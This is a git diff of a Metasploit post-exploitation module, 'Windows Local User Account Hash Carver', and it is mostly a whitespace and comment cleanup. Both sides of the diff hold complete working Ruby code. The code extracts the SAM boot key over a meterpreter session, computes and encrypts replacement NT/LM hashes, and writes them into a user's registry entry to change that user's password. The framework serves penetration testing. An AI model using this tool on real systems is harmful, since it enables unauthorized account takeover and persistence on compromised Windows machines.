diff --git a/modules/post/windows/manage/hashcarve.rb b/modules/post/windows/manage/hashcarve.rb index 47d31ac18b..e1bde7a8fc 100644 --- a/modules/post/windows/manage/hashcarve.rb +++ b/modules/post/windows/manage/hashcarve.rb @@ -1,6 +1,6 @@ ## - # This module requires Metasploit: http://metasploit.com/download - # Current source: https://github.com/rapid7/metasploit-framework + # This module requires Metasploit: http://metasploit.com/download + # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' @@ -8,254 +8,217 @@ require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post - - include Msf::Auxiliary::Report - include Msf::Post::Windows::Priv - include Msf::Post::Windows::Registry - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Local User Account Hash Carver', - 'Description' => %q{ This module will change a local user's password directly in the registry. }, - 'License' => MSF_LICENSE, - 'Author' => [ 'p3nt4' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - register_options( + include Msf::Auxiliary::Report + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Local User Account Hash Carver', + 'Description' => %q{ This module will change a local user's password directly in the registry. }, + 'License' => MSF_LICENSE, + 'Author' => [ 'p3nt4' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + register_options( [ OptString.new('user', [true, 'Username to change password of', nil]), OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil]) ], self.class) - # Constants for SAM decryption - @sam_lmpass = "LMPASSWORD\x00" - @sam_ntpass = "NTPASSWORD\x00" - @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00" - @sam_numeric = "0123456789012345678901234567890123456789\x00" - @sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*") - @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") - - end - - def run - - begin - - #Variable Setup - username=datastore['user'] - pass=datastore['pass'] - - #Detecting password style - if pass.length==32 - print_status("Password detected as NT hash") - nthash = pass - lmhash="aad3b435b51404eeaad3b435b51404ee" - - elsif pass.length==65 - print_status("Password detected as LN:NT hashes") - nthash = pass.split(':')[1] - lmhash = pass.split(':')[0] - else - print_status("Password detected as clear text, generating hashes:") - nthash=hash_nt(pass) - lmhash=hash_lm(pass) - end - print_line("LM Hash: "+lmhash) - print_line("NT Hash: "+nthash) - - print_status("Obtaining the boot key...") - bootkey = capture_boot_key - - print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") - hbootkey = capture_hboot_key(bootkey) - - print_status("Searching for user") - ridInt = get_user_id(username) - rid = '%08x' % ridInt - print_line("User found with id: " + rid) - - print_status("Loading user key") - user = get_user_key(rid) - - #print_status("Decrypting user keys...") - #users = decrypt_user_keys(hbootkey, users) - - print_status("Modifying user key") - modify_user_key(hbootkey, ridInt, user,[nthash].pack("H*"),[lmhash].pack("H*")) - - print_status("Carving user key") - write_user_key(rid, user) - - print_status("Completed! Let's hope for the best") - #print_status("Carving Hashes") - #write_user_keys(users) - rescue ::Interrupt - raise $! - - rescue ::Exception => e - print_error("Error: #{e}") - end - end - - def capture_hboot_key(bootkey) - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) - return if not ok - vf = ok.query_value("F") - return if not vf - vf = vf.data - ok.close - - hash = Digest::MD5.new - hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) - - rc4 = OpenSSL::Cipher::Cipher.new("rc4") - rc4.key = hash.digest - hbootkey = rc4.update(vf[0x80, 32]) - hbootkey << rc4.final - return hbootkey - end - - def get_user_id(username) - - ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) - ok.enum_key.each do |usr| - uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) - r = uk.query_value("") - rid = r.type - if usr.downcase == username.downcase - return rid - end - uk.close - end - ok.close - raise 'The user does not exist' - end - - def get_user_key(rid) - - uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ) - user = uk.query_value("V").data - uk.close - return user - end - - def write_user_key(rid,user) - uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE) - uk.set_value("V",REG_BINARY,user) - uk.close - end - - def modify_user_key(hbootkey, rid, user, nthash, lmhash) - - hoff = user[0x9c, 4].unpack("V")[0] + 0xcc - #Check if hashes exist (if 20, then we've got a hash) - lm_exists = user[0x9c+4,4].unpack("V")[0] == 20 ? true : false - nt_exists = user[0x9c+16,4].unpack("V")[0] == 20 ? true : false - - #If we have a hashes, then parse them (Note: NT is dependant on LM) - #hashlm_enc = user[hoff + 4, 16] if lm_exists - #hashnt_enc = user[(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists - - print_status("Modifiying LM hash") - if lm_exists - user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass) - else - print_error("LM hash does not exist, skipping") - end - print_status("Modifiying NT hash") - if nt_exists - user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass) - else - print_error("NT hash does not exist, skipping") - end - end + # Constants for SAM decryption + @sam_lmpass = "LMPASSWORD\x00" + @sam_ntpass = "NTPASSWORD\x00" + @sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00" + @sam_numeric = "0123456789012345678901234567890123456789\x00" + @sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*") + @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") + end - def rid_to_key(rid) - - s1 = [rid].pack("V") - s1 << s1[0,3] - - s2b = [rid].pack("V").unpack("C4") - s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") - s2 << s2[0,3] - - [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] - end - - def encode_utf16(str) - str.to_s.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT) - end - - def encrypt_user_hash(rid, hbootkey, hash, pass) - - if(hash.empty?) - case pass - when @sam_lmpass - return @sam_empty_lm - when @sam_ntpass - return @sam_empty_nt - end - return "" - end - - des_k1, des_k2 = rid_to_key(rid) - - d1 = OpenSSL::Cipher::Cipher.new('des-ecb') - d1.padding = 0 - d1.key = des_k1 - - d2 = OpenSSL::Cipher::Cipher.new('des-ecb') - d2.padding = 0 - d2.key = des_k2 - - md5 = Digest::MD5.new - md5.update(hbootkey[0,16] + [rid].pack("V") + pass) - - rc4 = OpenSSL::Cipher::Cipher.new('rc4') - rc4.key = md5.digest - rc4.encrypt - - d2o = d2.encrypt.update(hash[8,8]) - d1o = d1.encrypt.update(hash[0,8]) - enchash = rc4.update(d1o+d2o) - - return enchash - end - - def hash_nt(pass) - return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack("H*")[0] - end - - def hash_lm(key) - lm_magic = 'KGS!@\#$%' - key = key.ljust(14, "\0") - keys = create_des_keys(key[0, 14]) + def run + begin + #Variable Setup + username=datastore['user'] + pass=datastore['pass'] + #Detecting password style + if pass.length==32 + print_status("Password detected as NT hash") + nthash = pass + lmhash="aad3b435b51404eeaad3b435b51404ee" + elsif pass.length==65 + print_status("Password detected as LN:NT hashes") + nthash = pass.split(':')[1] + lmhash = pass.split(':')[0] + else + print_status("Password detected as clear text, generating hashes:") + nthash=hash_nt(pass) + lmhash=hash_lm(pass) + end + print_line("LM Hash: "+lmhash) + print_line("NT Hash: "+nthash) + print_status("Obtaining the boot key...") + bootkey = capture_boot_key + print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...") + hbootkey = capture_hboot_key(bootkey) + print_status("Searching for user") + ridInt = get_user_id(username) + rid = '%08x' % ridInt + print_line("User found with id: " + rid) + print_status("Loading user key") + user = get_user_key(rid) + print_status("Modifying user key") + modify_user_key(hbootkey, ridInt, user,[nthash].pack("H*"),[lmhash].pack("H*")) + print_status("Carving user key") + write_user_key(rid, user) + print_status("Completed! Let's hope for the best") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Error: #{e}") + end + end + + def capture_hboot_key(bootkey) + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) + return if not ok + vf = ok.query_value("F") + return if not vf + vf = vf.data + ok.close + hash = Digest::MD5.new + hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) + rc4 = OpenSSL::Cipher::Cipher.new("rc4") + rc4.key = hash.digest + hbootkey = rc4.update(vf[0x80, 32]) + hbootkey << rc4.final + return hbootkey + end + + def get_user_id(username) + + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) + ok.enum_key.each do |usr| + uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) + r = uk.query_value("") + rid = r.type + if usr.downcase == username.downcase + return rid + end + uk.close + end + ok.close + raise 'The user does not exist' + end + + def get_user_key(rid) + + uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ) + user = uk.query_value("V").data + uk.close + return user + end + + def write_user_key(rid,user) + uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE) + uk.set_value("V",REG_BINARY,user) + uk.close + end + + def modify_user_key(hbootkey, rid, user, nthash, lmhash) + + hoff = user[0x9c, 4].unpack("V")[0] + 0xcc + #Check if hashes exist (if 20, then we've got a hash) + lm_exists = user[0x9c+4,4].unpack("V")[0] == 20 ? true : false + nt_exists = user[0x9c+16,4].unpack("V")[0] == 20 ? true : false + print_status("Modifiying LM hash") + if lm_exists + user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass) + else + print_error("LM hash does not exist, skipping") + end + print_status("Modifiying NT hash") + if nt_exists + user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass) + else + print_error("NT hash does not exist, skipping") + end + end + + def rid_to_key(rid) + s1 = [rid].pack("V") + s1 << s1[0,3] + s2b = [rid].pack("V").unpack("C4") + s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") + s2 << s2[0,3] + [convert_des_56_to_64(s1), convert_des_56_to_64(s2)] + end + + def encode_utf16(str) + str.to_s.encode(Encoding::UTF_16LE).force_encoding(Encoding::ASCII_8BIT) + end + + def encrypt_user_hash(rid, hbootkey, hash, pass) + if(hash.empty?) + case pass + when @sam_lmpass + return @sam_empty_lm + when @sam_ntpass + return @sam_empty_nt + end + return "" + end + + des_k1, des_k2 = rid_to_key(rid) + d1 = OpenSSL::Cipher::Cipher.new('des-ecb') + d1.padding = 0 + d1.key = des_k1 + d2 = OpenSSL::Cipher::Cipher.new('des-ecb') + d2.padding = 0 + d2.key = des_k2 + md5 = Digest::MD5.new + md5.update(hbootkey[0,16] + [rid].pack("V") + pass) + rc4 = OpenSSL::Cipher::Cipher.new('rc4') + rc4.key = md5.digest + rc4.encrypt + d2o = d2.encrypt.update(hash[8,8]) + d1o = d1.encrypt.update(hash[0,8]) + enchash = rc4.update(d1o+d2o) + return enchash + end + + def hash_nt(pass) + return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack("H*")[0] + end + + def hash_lm(key) + lm_magic = 'KGS!@\#$%' + key = key.ljust(14, "\0") + keys = create_des_keys(key[0, 14]) + result = '' + cipher = OpenSSL::Cipher::DES.new + keys.each do |k| + cipher.encrypt + cipher.key = k + result << cipher.update(lm_magic) + end + return result.unpack("H*")[0] + end + + def create_des_keys(string) + keys = [] + string = string.dup + until (key = string.slice!(0, 7)).empty? + # key is 56 bits + key = key.unpack('B*').first + str = '' + until (bits = key.slice!(0, 7)).empty? + str << bits + str << (bits.count('1').even? ? '1' : '0') # parity + end + keys << [str].pack('B*') + end + keys + end - result = '' - cipher = OpenSSL::Cipher::DES.new - keys.each do |k| - cipher.encrypt - cipher.key = k - result << cipher.update(lm_magic) - end - return result.unpack("H*")[0] - end - - def create_des_keys(string) - keys = [] - string = string.dup - until (key = string.slice!(0, 7)).empty? - # key is 56 bits - key = key.unpack('B*').first - str = '' - until (bits = key.slice!(0, 7)).empty? - str << bits - str << (bits.count('1').even? ? '1' : '0') # parity - end - keys << [str].pack('B*') - end - keys - end - end